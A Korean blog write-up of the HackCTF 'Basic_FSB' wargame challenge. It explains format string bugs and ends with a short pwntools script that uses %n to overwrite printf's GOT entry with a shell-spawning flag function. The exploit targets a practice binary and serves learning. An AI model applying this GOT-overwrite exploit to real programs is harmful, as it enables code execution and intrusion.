wargame/HackCTF

[HackCTF] Basic_FSB | write up

$1m0hYa 2019. 9. 1. 13:51

안녕하세요

이번에는 HackCTF에 있는 Basic_FSB 문제풀이를 준비 해봤습니다.

 

 

문제이름이 basic_fsb인걸 보면 fsb를 이용하라는 얘기로 볼수 있겠습니다.

 

FSB(format string buf) 는 printf 함수에서 주어진 포맷스트링을 이용하여서

 

메모리의 값을 참초하여 출력하거나, 어떠한 위치에 원하는 값을 덮어 씌울수 있는 아주 멋진 기술입니다!

 

자세한 설명은 나중에 더 다루어 보겠습니다.

 

이제 file 과 checksec으로 한번 분석을 해볼게요!

 

 

 

오오오! 깔끔하게 아무것도 걸려있지 않고 32비트 환경으로 돌아가게되네요.

 

그러면 이제 ida를 이용하여 보겠습니다.

 

프로그램을 실행시키면 먼저 stdout을 세팅해주고 vuln()이라는 함수를 실행시켜주는 줍니다.

 

vuln() 함수안에는 이러한 내용이 있었습니다.

먼저 변수 2개를 선언해주고 s변수에 1024 만큼 입력을 받습니다!

그리고 snprintf로 출력을하고, 그 다음 printf로 출력을 해주네요.

 

여기서 익숙하지 않은 함수가 하나 있습니다.

그거슨 바로! snprintf()!

 

이거는 printf랑 거의 똑같은데 다른점을 말하자면

snprintf는 변수에 문자열을 넣어줌으로서 정해진 바이트수를 변수로 출력해주는 역할을 합니다.

 

즉, printf랑 다른데 없다는 것이죠! (더 알아보고 싶으시다면 --> 링크)

 

snprintf - Google 검색

2016. 7. 3. · snprintf() (와)과 vsnprintf() (은)는, 최대로 size, Ns, -1 캐릭터만 출력 캐릭터 라인에 기입합니다 ( size 번째의 캐릭터는 종단의 '\0' (이)가 됩니다).

www.google.com

그럼 이제 이걸 어떻게 뚫어야 할까요?

 

바로바로! 포맷스트링 버그를 이용하는것이죠.

 

그리고 이 바이너리파일안에 "/bin/sh" 를 실행시켜주는 함수가 있습니다!

 

저기에 flag 함수를 보면 이렇게 실행을 해줍니다.

 

자 그럼 우리의 목표는 바로! 이 flag함수를 실행시켜주는 것이겠죠?

그러나 여기에서 변수 s 와 변수 format은 fgets로 입력받을 크기보다 크기떄문에 bof를 일으킬수 없습니다.

 

(지금까지 다 bof로 return 주소의 값을 변조하면서 풀었는데 이거 어떻게해요..?)

 

바로 포맷스트링 버그를 이용하시면 됩니다.

 

먼저 snprintf부분에서 printf의 got 를 flag주소 바꾸어버리면
snprintf 부분 다음에 printf가 실행이 되면 flag 함수가 실행될수 있습니다.

그럼 이제 시나리오를 짜볼게요.

 

  1. %p를 이용해 각 포맷스트링이 가르키는 위치를 파악한다.
  2. printf got를 입력하고 flag주소값 크기만큼 출력을 해준다.
  3. printf got를 입력한 부분을 가리키는 부분에 %n을 넣어서 지금까지 출력한 바이트수를 넣어준다.
  4. 그 다음 printf가 실행되면 printf대신에 flag함수가 실행되게 된다.
  5. 끝!

--- 포맷스트링이 가리키는 위치파악하기 ---

먼저 aaaa를 넣고 %p를 넣어보겠습니다. 

보시면 aaaa의 값인 0x61616161이 두번째 포맷스트링에서 나오는걸 볼 수 있습니다.

 

즉 두번째에 들어가는 포맷스트링은 처음 입력한 4바이트를 가리키는걸 알수 있다는 것이죠.

 

그림으로 설명하자면

이런식으로 되어 있다는 것이죠.

 

그럼 첫번째 인자를 이용해서 flag의 주소의 값만큼을 출력할수 있도록 하고

 

두번째인자는 %n 을 이용해 값을 넣을수 있도록 조정하면 되갰습니다.

 

그럼 이제 코드를 짜보겠습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote('ctf.j0n9hyun.xyz'3002)
= ELF('./basic_fsb')
 
flag = 0x80485B4
printf_got = 0x0804A00C
 
pay = p32(printf_got) 
pay += '%134514096x' 
pay += '%n' 
 
p.recv()
p.sendline(pay)
 
p.interactive()
cs

 

그럼 바로 실행~!

 

 

깔쌈하게 CLEAR!

 

잘 이해되지 않는 분들은

s1m0hya.tistory.com/19?category=811188

 

[Format String Bug] 포맷스트링 버그 (fsb) - 1

이번 시리즈에서는 포맷스트링 버그를 이용한 공격방법을 배워볼건데요 그 전에 먼저 포맷스트링에 대해 알아봅시다. 1. 포맷스트링 포맷 스트링은 우리가 주로 사용하는 c언어에 있는 printf함��

s1m0hya.tistory.com

를 참고해주세요!